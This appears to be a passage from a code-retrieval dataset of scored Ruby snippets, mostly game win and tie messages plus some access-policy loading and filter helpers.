"text": "def status\n #Row-win detect\n result = detect_row_win(@data)\n return result if result\n\n #Column-win detect\n col_data = @data.transpose\n# require 'ruby-debug'; debugger\n result = detect_row_win(col_data)\n return result if result \n\n #Diagonal-win detect\n result = detect_diag_win(@data)\n return result if result\n\n return \"In-Play\" if @data.flatten.include?(' ')\n\n return \"Tie\" #no wins, no spaces\n end",
"title": ""
},
{
"docid": "d4a3d45472b49d598f4684e870446418",
"score": "0.59128463",
"text": "def guesses_to_win_statement\n\t\tif current_guess_count > 1\n\t\t\t\"You won in #{@current_guess_count} guesses.\"\n\t\telse\n\t\t\t\"You only needed #{@current_guess_count} guess. Wow, impressive!\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "7f84c6b82759c21d09bd8b80ab1d9f67",
"score": "0.5899274",
"text": "def announce_winner(winner)\n\t\tcase winner\n\t\twhen \"player 1\"\n\t\t\tputs \"Player 1 is the winner!\"\n\t\twhen \"player 2\"\n\t\t\tputs \"Player 2 is the winner!\"\n\t\twhen \"ai\"\n\t\t\tputs \"The computer is the winner!\"\n\t\twhen \"player\"\n\t\t\tputs \"You are the winner!\"\n\t\twhen \"draw\"\n\t\t\tputs \"It's a draw! There aren't any valid moves left!\"\t\n\t\tend\n\tend",
"title": ""
},
{
"docid": "13af00e8b1a9675628e83e340ecc9a9e",
"score": "0.5897283",
"text": "def winners_comments\r\n \"#{name} says 'How did this happen?'\"\r\n end",
"title": ""
},
{
"docid": "186e10b16732f42eca99e7bc9469a41f",
"score": "0.5876644",
"text": "def declare_win\n display_board\n if @winner != \"\"\n puts \"Winner is player: #{@winner}\"\n else\n puts \"It is a tie!\"\n end\n end",
"title": ""
},
{
"docid": "2ab88eeb9a39ec7c1899c8f8fa1fd9ac",
"score": "0.5872867",
"text": "def game_status\n contents = []\n @show.board.case_array.each do |x|\n contents << x.content\n end\n if one_line?(contents)\n puts ' We have a winner !!'\n return 1\n elsif board_full?(contents.join.uncolorize)\n puts ' Oups, tie....'\n return 2\n else\n return 3\n end\n\n end",
"title": ""
},
{
"docid": "f6fa2751edeb9bbc416a342022367514",
"score": "0.5872554",
"text": "def win?\nend",
"title": ""
},
{
"docid": "7f00003dc114394388ee403484b123b2",
"score": "0.5842599",
"text": "def display_won\n\t\tputs \"#{@player.name}, you have won!\"\n\tend",
"title": ""
},
{
"docid": "62761ea805c37655912d195850ca0726",
"score": "0.5835336",
"text": "def win_lose?\n # declares a win when all blanks have been replaced in display_word\n if !(@interface.display_word.include?(\"_\"))\n puts \"You got it!\"\n puts \"Some celebration art!\".colorize(:cyan).blink\n puts \"!~~~~!~~~~!~~~~!~~~~!\" + \" ©ASCII Finger Painters\".colorize(:light_black)\n elsif @interface.counter_orb.length >= @interface.counter_finish.length\n puts \"You are trapped on this plane of entanglement.\"\n puts \"Dramatic Death Art!\".colorize(:red).blink\n puts \"XXXXXXXXXXXXXXXXXXX\" + \" ©ASCII Finger Painters\".colorize(:light_black)\n exit\n # or add another instance of Game to play again\n else\n play\n end\n end",
"title": ""
},
{
"docid": "f18e74271a39a440c4d666828bb9e198",
"score": "0.5831352",
"text": "def you_win\n puts\n puts \"You win! $\" + @initial_bank.to_s + \" was enough for you to win your goal of $\" + @goal.to_s\n end",
"title": ""
},
{
"docid": "3bd673297468f6a61095486c492dadf3",
"score": "0.5830439",
"text": "def winning_explanation(first, second, winning_hash)\n array = array_with_true_if_win(first, second, winning_hash)\n case array.index { |x| x == true }\n when 0 then 'Rock crushes Lizard!'\n when 1 then 'Rock crushes Scissors!'\n when 2 then 'Lizard poisons Spock!'\n when 3 then 'Lizard eats Paper!'\n when 4 then 'Spock vaporizes Rock!'\n when 5 then 'Spock smashes Scissors!'\n when 6 then 'Scissors decapitates Lizard!'\n when 7 then 'Scissors cuts Paper!'\n when 8 then 'Paper covers Rock!'\n when 9 then 'Paper disproves Spock!'\n end\nend",
"title": ""
},
{
"docid": "79718be8965c8334c96141e9065686ff",
"score": "0.5827504",
"text": "def condition\r\n percent = condition_percent\r\n\r\n if responds_to_event(:show_condition)\r\n data = { percent: percent }\r\n Game.instance.fire_event( self, :show_condition, data )\r\n percent = data[:percent]\r\n end\r\n\r\n if (percent >= 100)\r\n return \"#{self.name.capitalize_first} is in excellent condition.\\n\"\r\n elsif (percent >= 90)\r\n return \"#{self.name.capitalize_first} has a few scratches.\\n\"\r\n elsif (percent >= 75)\r\n return \"#{self.name.capitalize_first} has some small wounds and bruises.\\n\"\r\n elsif (percent >= 50)\r\n return \"#{self.name.capitalize_first} has quite a few wounds.\\n\"\r\n elsif (percent >= 30)\r\n return \"#{self.name.capitalize_first} has some big nasty wounds and scratches.\\n\"\r\n elsif (percent >= 15)\r\n return \"#{self.name.capitalize_first} looks pretty hurt.\\n\"\r\n elsif (percent >= 0)\r\n return \"#{self.name.capitalize_first} is in awful condition.\\n\"\r\n else\r\n return \"#{self.name.capitalize_first} is bleeding to death.\\n\"\r\n end\r\n end",
"title": ""
},
{
"docid": "c5b5a7a3d2cf334caeb1026ff9096a53",
"score": "0.5820883",
"text": "def winners_comments\r\n \"Congratulations #{name}! You're our winner today!\"\r\n end",
"title": ""
},
{
"docid": "a3e9f7b4295f12b48a0198adecaed14d",
"score": "0.5814056",
"text": "def win\n\t\tif @@feedback == [\"B\", \"B\", \"B\", \"B\"]\n\t\t\t@winner = true\n\t\t\treturn\n\t\tend\n\tend",
"title": ""
},
{
"docid": "56291cb2217be2bf417b2bb9563b8f70",
"score": "0.5805597",
"text": "def outcome\n if player_wins?(p1_hand, cpu_hand) == true\n puts @details\n ask_for_rematch\n elsif cpu_wins?(p1_hand, cpu_hand) == true\n puts @details\n ask_for_rematch\n elsif tie\n tie_breaker\n ask_for_rematch\n else\n puts @details\n self.class.player_score += 1\n ask_for_rematch\n end\n end",
"title": ""
},
{
"docid": "14f58568e32ba2a1797233bf662eb98d",
"score": "0.58038193",
"text": "def who_won(board)\n comb = []\n WIN_CONDITION.each do |win_comb|\n comb = [board[win_comb[0]], board[win_comb[1]], board[win_comb[2]]]\n return 'O' if comb.all? { |x| x == 'O' }\n return 'X' if comb.all? { |x| x == 'X' }\n end\n end",
"title": ""
},
{
"docid": "e623fec72afd28f0b82fe511065d33f5",
"score": "0.5801505",
"text": "def message\n winning_strategy && winning_strategy.message\n end",
"title": ""
},
{
"docid": "daf192f4d8a850befef46a32c6d82894",
"score": "0.57971674",
"text": "def win_condition_in_data\n win_regex = /\\\"type\\\":\\\"win\\\"/\n unless data.match(win_regex)\n errors[:data] << \"Missing Win-Condition\" \n end\n end",
"title": ""
},
{
"docid": "940d6923482c76bde45a5fa785ff38c2",
"score": "0.5774339",
"text": "def winning_strategy; end",
"title": ""
},
{
"docid": "8497f3daa2ff45db4bd0db47d26a0415",
"score": "0.577429",
"text": "def help_night\n Qt::MessageBox.information(self, 'Opérations automatiques', NIGHT_HELP)\n end",
"title": ""
},
{
"docid": "03995cdbde63358550f977a323d7cb0c",
"score": "0.577428",
"text": "def action\n puts \"GAME OVER: Winner #{victory} (#{victory.reason})\"\n end",
"title": ""
},
{
"docid": "297689c6fa61ddbba32207706973b661",
"score": "0.5762142",
"text": "def game_info\n puts \"Welcome to Word Guessing Game.\"\n puts \"You need guess a word in 10 times\"\n print \"Are you ready?[y/n]: \"\n end",
"title": ""
},
{
"docid": "e62e1bc6b575252bd7497572b18174dd",
"score": "0.5758878",
"text": "def generate_outcome_severity\n # For use only on completed battles.\n result_intro = \"\"\n\n case self.outcome == \"Victory\" ? self.p_hp : self.a_hp\n when 1..10\n result_intro = self.outcome == \"Victory\" ? \"Narrowly squeeked by against \" : \"Almost held on against \"\n when 11..30\n result_intro = self.outcome == \"Victory\" ? \"Cut it pretty close against \" : \"Couldn't quite close the deal against \"\n when 31..70\n result_intro = self.outcome == \"Victory\" ? \"Handily defeated \" : \"Could have done better against \"\n when 71..100\n result_intro = self.outcome == \"Victory\" ? \"Held their ground against \" : \"Wasn't a match for \"\n when 101..150\n result_intro = self.outcome == \"Victory\" ? \"Pulled off a solid win against \" : \"Suffered a sound defeat at the hands of \"\n when 151..200\n result_intro = self.outcome == \"Victory\" ? \"Opened a can of whoop-ass on \" : \"Got thrashed by \"\n when 201..250\n result_intro = self.outcome == \"Victory\" ? \"Demolished \" : \"Had no chance against \"\n else\n result_intro = self.outcome == \"Victory\" ? \"Went nuclear on \" : \"Was totally annihilated by \"\n end\n\n return result_intro\n end",
"title": ""
},
{
"docid": "46cb2e4c38914abdb1f15a52ba0368b9",
"score": "0.5746281",
"text": "def win_event(log)\n win_reg = /win ! Final score:/\n win = log.match(win_reg)\n !win.nil?\n end",
"title": ""
},
{
"docid": "89f0fb446f198b2c52d872b05b676351",
"score": "0.5733595",
"text": "def user_win_condition\n #condition to win\n #condition to draw\n #option to play again or quit\n #initialize\n #start\n end",
"title": ""
},
{
"docid": "84bff6e08d7430e4e59872b61efa1ad6",
"score": "0.5730513",
"text": "def ai_win\n puts 'AI wins the battle!'\n end",
"title": ""
},
{
"docid": "f56d1abc7a7465399ccd6086212b620c",
"score": "0.57294226",
"text": "def report_win\n if @player1.points > @player2.points\n if win_set?(player1)\n \"Player 1 wins the set!\"\n elsif tie?\n announce_tiebreaker\n else\n record_game_win!(player1)\n \"Player 1 wins!\"\n end\n else \n if win_set?(player2)\n \"Player 2 wins the set!\"\n elsif tie?\n announce_tiebreaker\n else\n record_game_win!(player2)\n \"Player 2 wins!\"\n end\n end\n end",
"title": ""
},
{
"docid": "ed5594a8109f2093396535f397aad938",
"score": "0.57282",
"text": "def hasWon\n\n status_Player == :win\n end",
"title": ""
},
{
"docid": "b39f753cba7293228bab6c1cda00cf15",
"score": "0.57244605",
"text": "def message\n winning_strategy.nil? ? \"\" : winning_strategy.message\n end",
"title": ""
},
{
"docid": "43e385f6c22a1d866490543e41920359",
"score": "0.57175684",
"text": "def presentiveness_chrysididae()\n end",
"title": ""
},
{
"docid": "042630a61ccf5a32d56f81b5b3eca585",
"score": "0.57169837",
"text": "def gameover\n puts %{\nFarewell, adventurer!\n\nYou #{END_REASONS[G.state]} #{G.turns} turn#{G.turns == 1 ? \"\" : \"s\"}.\n\nThanks for playing PICOROGUE.}\nend",
"title": ""
},
{
"docid": "ff2eaac01af2225113e43de14508e7de",
"score": "0.57071376",
"text": "def print_win(name,bet)\n\t\tputs \"Congratulations #{name}! You won $#{bet.to_s}!\"\n\tend",
"title": ""
},
{
"docid": "1fbe113f30d58699d7506e27abf3c5c0",
"score": "0.5706587",
"text": "def win\n if @word_progress.join('') == @answer\n @game_over = true\n end\n end",
"title": ""
},
{
"docid": "95bb750f68ee434e367a23bcb911f957",
"score": "0.57044697",
"text": "def room_description\n return \"There are no windows in this room. You are in an office that is dressed in the dark colors and complicated patterns reminiscent of the early 20th century. There is an elaborately illuminated electric chandelier hanging from the ceiling made of a dark metal and what appears to be crystal. The walls are covered in dirty wallpaper with the same garish pattern you recognize from the hallway. On the wall across from the desk is the only picture in the room. The picture’s frame is thick and rife with extravagant sculpting and slathered in gold paint. According to the label in the bottom of the frame, this is a portrait of ‘Queen Victoria, oil on canvas’. The floor is hardwood made up of wide dark planks. \"\n end",
"title": ""
},
{
"docid": "7f4bc2142f904af7b5ccfeba613dcd88",
"score": "0.5694774",
"text": "def won?\n self.win\n end",
"title": ""
},
{
"docid": "efc9c351999f59cdcec72112efc0948c",
"score": "0.5693245",
"text": "def m_print_wins(name)\n string = \"\"\n awc = m_all_wins_categories(name)\n uw = m_uniq_wins(name)\n mo = m_occurances(name)\n uw.each do |win|\n string = string + \"Best #{win}\\n\"\n end\n puts \"#{name} has been nominated #{mo.nominations.size} time(s) for an Academy Award and has won #{awc.size} time(s).\"\n puts\n puts \"#{name} has won the awards for:\"\n puts\n puts string\n puts\nend",
"title": ""
},
{
"docid": "60cef8068443d1d4f91bf1a02537c31c",
"score": "0.5688029",
"text": "def winning_messages(board)\n if someone_won?(board)\n display_board(board)\n prompt \"#{detect_winner(board)} won!\"\n elsif board_full?(board)\n display_board(board)\n prompt \"It's a tie\"\n end\n \nend",
"title": ""
},
{
"docid": "f1f87d2ba13313dbda8db97eb388fc4e",
"score": "0.5685035",
"text": "def iswin(board)\n win=false\n WIN_COMBINATIONS.each do|slot|\n win=define_win(slot,board) if define_win(slot,board) !=false\n end\n win\nend",
"title": ""
},
{
"docid": "c732e7821d16c1a369402af068d62de9",
"score": "0.5681626",
"text": "def win \n puts \"YOU'VE DONE IT!! THAT WAS THE EXIT FROM THE CASTLE YOU HAVE SUCCEEDED, #{@name}! YOU MANAGED TO GET OUT OF THE CASTLE WELL DONE!\"\n @winner = true\n print_score\n end",
"title": ""
},
{
"docid": "3382ff583afed1f8c7ee183fbc4234ef",
"score": "0.56801724",
"text": "def word_status\r\n puts @display_puzzle_word.join\r\n guess = \"guesses\"\r\n if @guess_limit == 1\r\n guess = \"guess\"\r\n end\r\n puts \"#{@guess_limit} #{guess} left.\"\r\n end",
"title": ""
},
{
"docid": "3aafe2281bb5e522250593cd7b5f0047",
"score": "0.56670326",
"text": "def status\r\n\tdef_check(\"status\")\r\n\tair_summrize\r\n\tshield_summrize\r\n\tpower_summrize\r\n\t\r\n\tputs \" ? - help ==== M A I N ====\"\r\n\tputs \"\"\r\n\tprint \"\t+ #{$air.name}:__________________#{$air.amount}/#{$air.limit}\"; print \"\\t (#{$air_sum}/h)\"; puts \"\"\r\n\tprint \"\t+ #{$shield.name}:_______________#{$shield.amount}/#{$shield.limit}\"; print \"\\t (#{$shield_sum}/h)\"; puts \"\"\r\n\tprint \"\t+ #{$power.name}:________________#{$power.amount}/#{$power.limit}\"; print \"\\t (#{$power_sum}/h)\"; puts \"\"\r\n\tif $beacon.operative && $gps.operative then puts \"\t+ #{$rescue_time.name}:___#{$rescue_time.amount}\" end\r\n\tputs \"\t+ #{$total_time.name}:___________#{$total_time.amount}\"\r\n\tputs \"\"\r\n\trobots_info\r\n\tunits_info\r\n\t\r\n\t\r\n\tif $viewer.robot == $dazh && $dazh.level > 1 then puts $event_order[0].dazh_message end\r\nend",
"title": ""
},
{
"docid": "6d51c2609db9d68494193ed9167144e4",
"score": "0.5666406",
"text": "def short_description\n\t\t\t\"You are still in the #{@room_name}\\n\\n\"\n\t\tend",
"title": ""
},
{
"docid": "c3e12331589c382c9727f7c7bfeabd5b",
"score": "0.5664599",
"text": "def print_status(game)\n cls\n puts \"\\nThe word is: \" + get_word_for_print(game.letters, game.good_letters)\n puts \"Mistakes (#{game.errors}): #{game.bad_letters.join(', ')}\"\n print_viselitsa(game.errors)\n if game.errors >= 7\n puts 'You loose :('\n else\n if game.letters.uniq.size == game.good_letters.size\n puts 'Congrtulations! You win! See you next time!'\n else\n puts 'Attempts left: ' + (7 - game.errors).to_s\n end\n end\n end",
"title": ""
},
{
"docid": "d018c932d60c26eea29214fb6f5a56cb",
"score": "0.5664156",
"text": "def describe()\n hunger = 'full'\n if(@nutrition < 30); hunger = 'almost dead'\n elsif(@nutrition < 50); hunger = 'very hungry'\n elsif(@nutrition < 80); hunger = 'hungry'\n end\n 'A human named ' + @name + ' who is ' + hunger + ' (' + @nutrition.to_s + ')'\n end",
"title": ""
},
{
"docid": "b46c48ad5dbe7760fea1fb6c06ee5f95",
"score": "0.5661804",
"text": "def win_ratio_output\n\t\tputs \"#{@user_name}, #{number_of_wins > 0 ? \"you have won #{@number_of_wins}\" : 'you have not won'} out of #{session_number} #{session_number > 1 ? 'sessions' : 'session'}.\"\n\tend",
"title": ""
},
{
"docid": "9cf2adc0284e3bdf2558a1cb265efb41",
"score": "0.56589925",
"text": "def winner\n \"#{@board[won?[0]]}\"\n end",
"title": ""
},
{
"docid": "5f88b485c9e5e72449316ad226b7d2b2",
"score": "0.56572217",
"text": "def win_roll\n printf(\"$%-20sWin $%-14s $%-s\", @bet.to_s, @bet.to_s, (@bank + @bet).to_s)\n puts\n end",
"title": ""
},
{
"docid": "17dafdb4f36c8381d862b0609eddd5af",
"score": "0.56568193",
"text": "def description\n puts \"Your rad breakdancing blows the enemies away\"\n puts \"However your moves are so awesome that they may\"\n puts \"also be potentially dangerous!\"\n end",
"title": ""
},
{
"docid": "aab4f9652e77e7bd5808b542e78b68bb",
"score": "0.5652565",
"text": "def create_win_message(winner)\n\t\tif winner\n\t\t\tmsg = @window.user_messages.message(:winner, winner.name)\n\t\telse\n\t\t\tmsg = @window.user_messages.message(:no_winner)\n\t\tend\n\t\twin_label = Label.new(msg, MSG_HEIGHT, Constants::FONT_NAME, MSG_Z)\n\t\twin_label.x = @width/2 - win_label.bg_width/2\n\t\twin_label.y = @height/2 - win_label.bg_height/2\n\n\t\twin_label\n\tend",
"title": ""
},
{
"docid": "abecceac52d88e4fff6f5bc8d5d12440",
"score": "0.5649233",
"text": "def win_game\n #call board drawing\n @wrong_count = 6\n update_board\n message = \"YAY! YOU WIN! Your prize is an \"\n message2 = \"#{@good_prize}\"\n puts message.colorize(:yellow) + message2.colorize(:magenta)\n system \"say\", message\n system \"say\", message2\n exit\n end",
"title": ""
},
{
"docid": "df1bc4c1dec6aafd903b3fea85957e82",
"score": "0.5649042",
"text": "def won?\n\n end",
"title": ""
},
{
"docid": "1bdb0c6d5cd88b51823db8366b0be1fb",
"score": "0.56478304",
"text": "def display_games_to_win_match\n if GAMES_TO_WIN_MATCH > 0 && human.match_score == 0 \\\n && computer.match_score == 0\n puts \"First player to win #{GAMES_TO_WIN_MATCH} games wins the match.\"\n end\n end",
"title": ""
},
{
"docid": "d125a73cc295125800c42959e4a96ee2",
"score": "0.5628412",
"text": "def check_win_or_lose\n if(@count >6)\n @result = :lose\n else\n @result = word_with_guesses\n if !(@result =~/[-]/)\n @status = :win\n else\n @status = :play\n end\n end\n end",
"title": ""
},
{
"docid": "2f35e04482ee869148201c24bed063dc",
"score": "0.56258744",
"text": "def game_won? \n if @board.count_mines == @board.count_unrevealed_cells\n p \"Congrats, you've won!\"\n end\n end",
"title": ""
},
{
"docid": "8a1e28223c3d612f32a352fed14b04b8",
"score": "0.56186026",
"text": "def won\n\tputs \"You Won the Game!!!!!!!!! celebrate you are a Millionaire!\"\nend",
"title": ""
},
{
"docid": "a6912e587c311fdc9f6d262634f533ba",
"score": "0.5615731",
"text": "def possible_win?(brd)\n !!detect_threat(brd, COMPUTER_MARKER)\nend",
"title": ""
},
{
"docid": "fc148247918449084a80829eae54f986",
"score": "0.5612149",
"text": "def readiness_summary\n return \"Ready to mentor\" if passed_basics?\n summary = \"\"\n if Customer.require_risk_form?\n if !signed_risk_form?\n summary << \"* Must sign risk form \"\n end\n end\n if Customer.require_parental_consent_for_minors?\n if !is_18?\n if !parental_consent_on_file?\n summary << \"* Must require parental consent \"\n end\n end\n end\n if Customer.require_conduct_form?\n if !signed_conduct_form?\n summary << \"* Must sign conduct agreement \"\n end \n end\n if Customer.require_background_checks?\n if !passed_background_check?\n summary << \"* Hasn't passed BG Check \"\n end\n if !passed_sex_offender_check?\n summary << \"* Hasn't passed SO Check \"\n end\n end\n if !attended_mentor_workshop?\n summary << \"* Must attend mentor workshop\"\n end\n return summary\n end",
"title": ""
},
{
"docid": "826fff24d764a7268b655086ee098dd0",
"score": "0.5608955",
"text": "def shift_status_message\n msg = []\n day_offset = get_day_offset\n num_selected = self.get_working_shifts.length\n round = HostUtility.get_current_round(HostConfig.bingo_start_date, Date.today, self)\n all_shifts = self.shifts\n\n if round < 5\n msg << \"You are currently in <strong>round #{round}</strong>.\"\n else\n msg << \"Shift Selection Bingo is over...\"\n end\n\n msg << \"Today is: #{Date.today}\"\n msg << \"Bingo Start: #{HostConfig.bingo_start_date}\"\n\n if self.has_holiday_shift?\n msg << \"A <strong>Holiday Shift</strong> has been selected.\"\n else\n msg << \"NOTE: You still need a <strong>Holiday Shift</strong>\"\n end\n\n host_selection_message(all_shifts, round, day_offset, msg)\n\n # if self.ongoing_trainer?\n # if self.ongoing_trainings.count > 0\n # msg << 'You Are Scheduled As An On Going On Mountain Training Trainer.'\n # else\n # msg << 'You Do Not Have Any Training Shifts Yet.'\n # end\n # else\n # if self.ongoing_trainings.count > 0\n # msg << 'You have selected an Ongoing On Mountain Training Shift.'\n # else\n # if self.rookie?\n # msg << 'You do not need to select an Ongoing On Mountain Training Shift.'\n # else\n # msg << 'You have not signed up for Ongoing On Mountain Training Yet.'\n # end\n # end\n # end\n\n msg\n end",
"title": ""
},
{
"docid": "0d8c07d40926bddd36a15f4c7e036df4",
"score": "0.560685",
"text": "def modeler_description\n return \"Each window in the building is assigned a thermochromic window construction and a shading control. The shading control is set to increase the window tint to meet the daylighting setpoint in the zone. If the zone already has daylighting controls, the setpoints from those controls are used. If the zone does not have controls, new controls are added at the center of the zone with a setpoint of 500 lux. These controls are only used for changing the window tint; they are not used to control the interior lighting.\"\n end",
"title": ""
},
{
"docid": "4e2a10f43360c9fa988f09f3459e9930",
"score": "0.56063765",
"text": "def description\n description = puts \"You are in a brightly lit room that doesn't smell as bad as \"\\\n \"most of the dungeon. What really draws your eye here are the number of chests and \"\\\n \"shelves filled with items of all sorts, most of it likely retreived from persons \"\\\n \"such as yourself who died adventuring here.\"\n if @monster\n puts \"A #{@monster.monster} is here standing guard.\"\n else\n puts \"The room is eerily quite.\"\n end\n\n if @treasure\n puts \"A large chest draws your eye, it looks like it contains something valuable!\"\n else\n puts \"There is nothing of value left here, as it is mostly junk and knick knacks.\"\n end\n end",
"title": ""
},
{
"docid": "b2ddd304cc81ae41f7cfee06e9eb7a17",
"score": "0.56060183",
"text": "def display_stats\n puts \"Power: #{self.power}. Combat: #{self.combat}\"\n if self.power < 50 || self.combat < 50\n puts display_tips\n elsif\n puts \"Do not be afraid of your power. Start a new challenge.\"\n end\n end",
"title": ""
},
{
"docid": "665dd2d1fb9fe78c9f5d8c12f4ed9e88",
"score": "0.5603812",
"text": "def game_condition\n\t\tif @guess_count == @word.length\n\t\t\t@game_over = true\n\t\t\tputs\n\t\t\tputs \"YOU LOSE\"\n\t\telsif (@hide.include? (\"_\")) == false\n\t\t\t@game_over = true\n\t\t\tputs\n\t\t\tputs \"YOU WIN\"\n\t\tend\t\t\n\tend",
"title": ""
}
] |
f496d74df1ef43f1eee029a886f51566
|
appends a filtered policy from file/database.
|
[
{
"docid": "1f5e92d7b4bab0e623f9ec9cc49725b4",
"score": "0.52936006",
"text": "def load_increment_filtered_policy(filter)\n raise ArgumentError, 'filtered policies are not supported by this adapter' unless adapter.respond_to?(:filtered?)\n\n adapter.load_filtered_policy(model, filter)\n model.print_policy\n build_role_links if auto_build_role_links\n end",
"title": ""
}
] |
[
{
"docid": "9eea96c9585f1655d215a2edafb9ad9e",
"score": "0.6004303",
"text": "def load_filtered_policy(_model, _filter); end",
"title": ""
},
{
"docid": "a7589b6ceda67f69427de98c262e8c50",
"score": "0.5974355",
"text": "def add_and_filter(file, add, filter_re)\n lock = lock(@new_resource)\n need_to_add = !add.nil?\n need_to_remove = false\n lines = []\n re = Regexp.compile(\"^#{add}\\s*$\")\n ll = [] \n ll = IO.readlines(file) if ::File.exists?(file)\n ll.each { |l|\n need_to_add = false if l.match(re)\n unless (filter_re.nil?)\n if md=l.match(/^#{filter_re}$/)\n\t if md[0].match(re)\n\t # we're adding and removing the same thing...\n\t need_to_remove = false\n\t need_to_add = false\n\t lines << l\n\t else\n\t need_to_remove = true\n\t end\n else\n\tlines << l\n end\n else \n lines << 1\n end\n } \n \n puts \"need to add: #{need_to_add} remove: #{need_to_remove}\"\n updated = need_to_add or need_to_remove\n \n if need_to_remove\n lines << add if need_to_add\n need_to_add = false\n open(file, \"w+\") {|f| f.write lines }\n end\n open(file, \"a\") {|f| \n f.write \"#{add}\\n\"\n } if need_to_add\n\n return updated\n\nensure\n unlock(lock)\nend",
"title": ""
},
{
"docid": "d0709c42315b58b068b9ea5c939557e3",
"score": "0.5822587",
"text": "def add(policy); end",
"title": ""
},
{
"docid": "5c47294dea1292560f3d3c2a8f3cb547",
"score": "0.57507074",
"text": "def add_to_policy(policy, lun)\n Puppet.info \"Adding policy #{policy.name} to lun #{lun.name}.\"\n policy.apply_to_storage(lun)\n end",
"title": ""
},
{
"docid": "60bd7c02d35586d4df0d40170bcefa8a",
"score": "0.56887966",
"text": "def policyfile_loaded(policy); end",
"title": ""
},
{
"docid": "3c8415aefed68c2763bdd55a59c4ccf8",
"score": "0.5661388",
"text": "def load_filtered_policy(filter)\n model.clear_policy\n\n raise ArgumentError, 'filtered policies are not supported by this adapter' unless adapter.respond_to?(:filtered?)\n\n adapter.load_filtered_policy(model, filter)\n model.print_policy\n build_role_links if auto_build_role_links\n end",
"title": ""
},
{
"docid": "8dd42b4d38e442fdc17aea23c620fe91",
"score": "0.5537894",
"text": "def add_policy(_sec, _ptype, _rule); end",
"title": ""
},
{
"docid": "453e46afa7634f66fba031664e6c26e2",
"score": "0.5525309",
"text": "def add_policy_uri(policy_uri); end",
"title": ""
},
{
"docid": "453e46afa7634f66fba031664e6c26e2",
"score": "0.5525309",
"text": "def add_policy_uri(policy_uri); end",
"title": ""
},
{
"docid": "14c8de159f5e626ad006a9a9772dc1f4",
"score": "0.5476949",
"text": "def generate_policy\n statements = []\n compile.resources.keys!.each do |r_name|\n r_object = compile.resources[r_name]\n if r_object[\"Policy\"]\n r_object[\"Policy\"].keys!.each do |effect|\n statements.push(\n \"Effect\" => effect.to_s.capitalize,\n \"Action\" => [r_object[\"Policy\"][effect]].flatten.compact.map { |i| \"Update:#{i}\" },\n \"Resource\" => \"LogicalResourceId/#{r_name}\",\n \"Principal\" => \"*\",\n )\n end\n r_object.delete!(\"Policy\")\n end\n end\n statements.push(\n \"Effect\" => \"Allow\",\n \"Action\" => \"Update:*\",\n \"Resource\" => \"*\",\n \"Principal\" => \"*\",\n )\n Smash.new(\"Statement\" => statements)\n end",
"title": ""
},
{
"docid": "56b4252e3bfe05499ba7bcbe190f7709",
"score": "0.5473775",
"text": "def add_policy(*params)\n add_named_policy('p', *params)\n end",
"title": ""
},
{
"docid": "177979c6bd295a17d2407cb142dc689b",
"score": "0.5382178",
"text": "def load_policy_line(line, model)\n return if line == '' || line[0] == '#'\n\n tokens = line.split(', ')\n key = tokens[0]\n sec = key[0]\n return unless model.model.key?(sec)\n return unless model.model[sec].key?(key)\n\n model.model[sec][key].policy << tokens[1..tokens.size]\n end",
"title": ""
},
{
"docid": "99ec42e66feea3907c279d6166952f78",
"score": "0.5374694",
"text": "def handle(txt, context)\n if filters_allow?(txt, context)\n allow_append(txt, context)\n else\n not_allow_append(txt, context)\n end\n end",
"title": ""
},
{
"docid": "99ec42e66feea3907c279d6166952f78",
"score": "0.5374694",
"text": "def handle(txt, context)\n if filters_allow?(txt, context)\n allow_append(txt, context)\n else\n not_allow_append(txt, context)\n end\n end",
"title": ""
},
{
"docid": "2f2fb6f6e5d270ad150d7805981cc7f3",
"score": "0.53639895",
"text": "def add(policy)\n unless policy.respond_to?(:call) && policy.respond_to?(:stored!)\n raise \"SlowRequestPolicy must implement policy api call(req) and stored!(req)\"\n end\n\n @policies << policy\n end",
"title": ""
},
{
"docid": "12074d7c4dd81b304fd8faa621940c6a",
"score": "0.53514004",
"text": "def import_policy(opts)\n opts = check_params(opts,[:filename,:overwrite])\n super(opts)\n end",
"title": ""
},
{
"docid": "594da7797654f627c8461c4e2f6f2e05",
"score": "0.5270234",
"text": "def import_policy(opts)\n opts = check_params(opts,[:webapp_name,:filename])\n super(opts)\n end",
"title": ""
},
{
"docid": "fe16db5bff159bdf99fa77387bc6b0ef",
"score": "0.52419794",
"text": "def add(new_policy)\n get_data.persist_object(new_policy)\n pt = policy_table\n pt.add_p_item(new_policy.uuid)\n end",
"title": ""
},
{
"docid": "6c9512c1cc011ca083a77645bf189d91",
"score": "0.52250355",
"text": "def export_policy(opts)\n opts = check_params(opts,[:policy_name,:filename])\n super(opts)\n end",
"title": ""
},
{
"docid": "c4e0b38a70a3893e9073743562ed5a02",
"score": "0.51980174",
"text": "def install_policy\n puts \"Generating a new Policyfile from '#{policyfile}'...\"\n install_service = ChefDK::PolicyfileServices::Install.new(\n policyfile: policyfile,\n ui: ui\n )\n @policyfile_lock_file = install_service.storage_config.policyfile_lock_filename\n install_service.run\n end",
"title": ""
},
{
"docid": "131cc95ab5243f737fc785bdf52595ad",
"score": "0.51646334",
"text": "def policy(record)\n policies[record] ||= find_policy!(pundit_user, record)\n end",
"title": ""
},
{
"docid": "5bb10cc345c3cff9d33409c3c5713542",
"score": "0.51465476",
"text": "def load_policy(policy)\n apply_policy policy, @local_configuration.load_policy(policy)\n end",
"title": ""
},
{
"docid": "e8ad1604bbd06e44dcd2543a7e227802",
"score": "0.5142308",
"text": "def whitelist_file(file)\n file = Regexp.new(file) unless file.kind_of?(Regexp)\n whitelist_files << file\n whitelist_files.dup\n end",
"title": ""
},
{
"docid": "e2cf30771283eaaa36c95d7c053c4af9",
"score": "0.5139627",
"text": "def add_policies(rules)\n add_named_policies('p', rules)\n end",
"title": ""
},
{
"docid": "ca673d7f019c70876821559449808e72",
"score": "0.51362544",
"text": "def addFilter(filter, type)\n if filter.size > @filterLengthMaximum\n error \"Your filter exceeds the maximum length of #{@filterLengthMaximum}.\"\n end\n if @filters.where(user_id: @user.id).count > @filterCountMaximum\n error \"You have too many filters (#{filterCountMaximum}).\"\n end\n\n #check if it is a valid regular expression first\n begin\n @database[\"select 1 where '' ~* ?\", filter].all\n @filters.insert(user_id: @user.id, filter: filter, release_filter_type: type)\n rescue Sequel::DatabaseError => exception\n error \"DBMS error: #{exception.message.chop}\"\n end\n\n return\n end",
"title": ""
},
{
"docid": "2ff2593648a561ede0e789d92b00865d",
"score": "0.51176417",
"text": "def policy(record)\n policies[record] ||= Pundit.policy!(pundit_user, record)\n end",
"title": ""
},
{
